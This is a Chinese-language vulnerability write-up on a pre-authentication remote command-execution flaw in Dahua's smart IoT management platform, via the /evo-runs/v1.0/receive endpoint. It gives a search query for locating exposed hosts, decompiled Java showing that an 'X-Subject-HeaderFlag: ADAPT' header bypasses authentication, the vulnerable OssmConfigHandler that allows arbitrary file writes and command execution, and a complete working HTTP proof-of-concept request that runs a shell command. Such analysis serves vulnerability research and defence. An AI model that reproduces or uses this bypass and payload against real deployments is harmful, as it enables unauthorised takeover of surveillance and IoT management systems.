大华智能物联管理平台/evo-runs/v1.0/receive接口前台命令执行

hunter

body="*客户端会小于800*"

漏洞分析

漏洞点在com.dahua.evo.runs.service.impl.MsgDealServiceImpl#msgDeal(com.dahua.evo.runs.agent.AgentMsgParam)

image-20251127173752403

public ResultMessage msgDeal(AgentMsgParam agentMsgParam) throws Exception {
    if (agentMsgParam != null) {
    String method = agentMsgParam.getMethod();
        if (StringUtils.isNotEmpty(method)) {
            MsgHandler msgHandler = this.msgHandlerExecuteFactory.getMsgHandler(method);
            if (msgHandler != null) {
            return msgHandler.msgDeal(agentMsgParam);
        }
        } 
    } 
    throw new BusinessException(ResultCodeEnum.INTERFACE_NOT_FOUND);
}

可以调用部分MsgHandlerMsgDeal方法,这个Servicecom.dahua.evo.runs.controller.agent.MsgDealConrtoller中有多处调用,这里几个路由的处理方式都差不多,就拿/evo-runs/v1.0/receive来分析,com.dahua.evo.runs.controller.agent.MsgDealConrtoller#receive的具体实现

基本上就是直接调用了msgDeal但是这是一个鉴权路由,需要绕过鉴权,也需要寻找到可利用的MsgHandler

绕过鉴权

com.dahua.evo.runs.filter.AuthFilter#doFilter

public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException {
    if (!this.authEnable) {
        filterChain.doFilter(servletRequest, servletResponse);
            return;
    }
    HttpServletRequest httpServletRequest = (HttpServletRequest)servletRequest;
    HttpServletResponse httpServletResponse = (HttpServletResponse)servletResponse;
    String[] requestURIParams = httpServletRequest.getServletPath().split("/");
    String[] matchedRequestURIParams = Arrays.copyOfRange(requestURIParams, 1, requestURIParams.length);
    String matchedRequestURI = "/" + StringUtils.join(Arrays.asList(matchedRequestURIParams), (String)"/");
    BodyReaderHttpServletRequestWrapper request = new BodyReaderHttpServletRequestWrapper(httpServletRequest, FILE_METHOD_SET.contains(matchedRequestURI));
    String content = SignUtil.getBodyString((ServletRequest)request);
    if (StringUtils.isNotEmpty((CharSequence)content)) {
        String signFlag;
        Map paramsMap = SignUtil.parseJsonToMap((String)(content = this.getParamsExcludeFile(matchedRequestURI, content)));
        if (this.releaseMethodSet.contains(paramsMap.get("method"))) {
            filterChain.doFilter((ServletRequest)request, servletResponse);
            return;
        }
        String flag = httpServletRequest.getHeader("X-Subject-HeaderFlag");
        if (StrUtil.isNotBlank((CharSequence)flag) && "ADAPT".equals(flag) && StrUtil.isBlank((CharSequence)(signFlag = httpServletRequest.getHeader("X-Subject-Sign")))) {
            filterChain.doFilter((ServletRequest)request, servletResponse);
            return;
        }
        flag = httpServletRequest.getHeader("X-Subject-HeaderFlag");
        if (StrUtil.isNotBlank((CharSequence)flag) && "CLOUD".equals(flag)) {
            filterChain.doFilter((ServletRequest)request, servletResponse);
            return;
        }
        if (this.serverIsCloud || this.serverIsAgent) {
            filterChain.doFilter((ServletRequest)request, servletResponse);
            return;
        }
        String signature = httpServletRequest.getHeader("X-Subject-Sign");
        if (StringUtils.isNotEmpty((CharSequence)signature)) {
            String serverCode = (String)paramsMap.get("serverCode");
            if (StringUtils.isNotEmpty((CharSequence)serverCode)) {
                String secret = this.generateSerret(serverCode, matchedRequestURI, this.getRpcMethod(content));
                if (StringUtils.isNotEmpty((CharSequence)secret)) {
                    if (SignUtil.verifySign((Map)paramsMap, (String)signature, (String)secret)) {
                        filterChain.doFilter((ServletRequest)request, servletResponse);
                        return;
                    }
                    this.logger.error("\u63a5\u53e3\u9274\u6743\u5931\u8d25\uff0c\u8def\u5f84:{}, \u539f\u56e0:{}", (Object)matchedRequestURI, (Object)"\u53c2\u6570\u9274\u6743\u4e0d\u5408\u6cd5");
                } else {
                    this.logger.error("\u63a5\u53e3\u9274\u6743\u5931\u8d25\uff0c\u8def\u5f84:{}, \u539f\u56e0:{}", (Object)matchedRequestURI, (Object)"\u5bf9\u5e94\u79d8\u94a5\u4e3a\u7a7a");
                }
            } else {
                this.logger.error("\u63a5\u53e3\u9274\u6743\u5931\u8d25\uff0c\u8def\u5f84:{}, \u539f\u56e0:{}", (Object)matchedRequestURI, (Object)"\u5bf9\u5e94serverCode\u4e3a\u7a7a");
            }
        } else {
            this.logger.error("\u63a5\u53e3\u9274\u6743\u5931\u8d25\uff0c\u8def\u5f84:{}, \u539f\u56e0:{}", (Object)matchedRequestURI, (Object)"X-Subject-Sign\u4e3a\u7a7a");
        }
    }
    this.logger.error("\u63a5\u53e3\u9274\u6743\u5931\u8d25\uff0c\u8def\u5f84:{}, \u53c2\u6570:{}", (Object)matchedRequestURI, (Object)content);
    httpServletResponse.setCharacterEncoding("utf-8");
    PrintWriter printWriter = httpServletResponse.getWriter();
    printWriter.print("{\"success\":false,\"code\":" + ResultCodeEnum.AGENT_AUTH_FAIL.getCode() + ",\"errMsg\":\"\u672a\u767b\u5f55\uff0c\u8bf7\u91cd\u65b0\u767b\u5f55\",\"data\":{}}");
    printWriter.flush();
    printWriter.close();
}

image-20251205002450505

最主要关注这个代码

 String flag = httpServletRequest.getHeader("X-Subject-HeaderFlag");
            if (StrUtil.isNotBlank(flag) && "ADAPT".equals(flag)) {
                filterChain.doFilter(request, servletResponse);
                return;
            }

最容易实现的就是X-Subject-HeaderFlag: ADAPTX-Subject-HeaderFlag: CLOUD,这个在不同版本有差异,X-Subject-HeaderFlag: ADAPT更通用,现在就可以成功绕过鉴权

寻找com.dahua.evo.runs.agent.handler.AbstractMsgHandler的所有实现

image-20251205002649191

找到可利用的类

com.dahua.evo.runs.agent.receive.handler.module.OssmConfigHandler
com.dahua.evo.runs.agent.receive.handler.ha.IpChangedHandler

OssmConfigHandler为例

 public ResultMessage msgDeal(AgentMsgParam agentMsgParam) throws BusinessException {
        JSONObject jsonObject = agentMsgParam.getInfo();
        if (jsonObject == null) {
            throw new BusinessException(ResultCodeEnum.AGENT_PARAM_INCORRECT);
        }
        CommonAgentParam commonAgentParam = (CommonAgentParam) JSON.toJavaObject(jsonObject, CommonAgentParam.class);
        boolean ifSaved = writeMappingFile(commonAgentParam.getFilePath(), commonAgentParam.getConfigure()).booleanValue();
        this.logger.info("ossmconfighandler write {} to {}", commonAgentParam.getConfigure(), commonAgentParam.getFilePath());
        if (ifSaved) {
            String shellPath = (String) commonAgentParam.getParamMap().get("shellPath");
            String filePath = (String) commonAgentParam.getParamMap().get("filePath");
            Executor.execute(shellPath, TlbConst.TYPELIB_MINOR_VERSION_OFFICE, "EXT_NET", filePath);
            return new ResultMessage(Collections.emptyMap());
        }
        throw new BusinessException(ResultCodeEnum.PARAM_INVALID);
    }
Executor.execute(shellPath, TlbConst.TYPELIB_MINOR_VERSION_OFFICE, "EXT_NET", filePath);

这里存在两个问题第7行的writeMappingFile文件名和文件内容都可控,第12行的Executor.execute命令可控,所以这里既可以执行任意命令也可以写入文件,但是这里不会解析jsp文件,写入文件getshell的方式还要进一步寻找

POC

POST /evo-runs/v1.0/receive HTTP/2
Host: 192.168.89.10
X-Subject-Headerflag: ADAPT
Sec-Ch-Ua-Platform: "Windows"
Authorization: 
Accept-Language: zh-CN,zh;q=0.9
Accept: application/json, text/plain, */*
Sec-Ch-Ua: "Chromium";v="135", "Not-A.Brand";v="8"
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/135.0.0.0 Safari/537.36
Sec-Ch-Ua-Mobile: ?0
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: https://192.168.89.10/
Accept-Encoding: gzip, deflate, br
Priority: u=4, i
Content-Type: application/json
Content-Length: 237

{
  "method": "agent.ossm.mapping.config",
  "info": {
    "configure": "x",
    "filePath": "x",
    "paramMap": {
      "shellPath": "/bin/bash -c 'id>/tmp/result.txt'",
      "filePath": "x"
    },
    "requestIp": ""
  }
}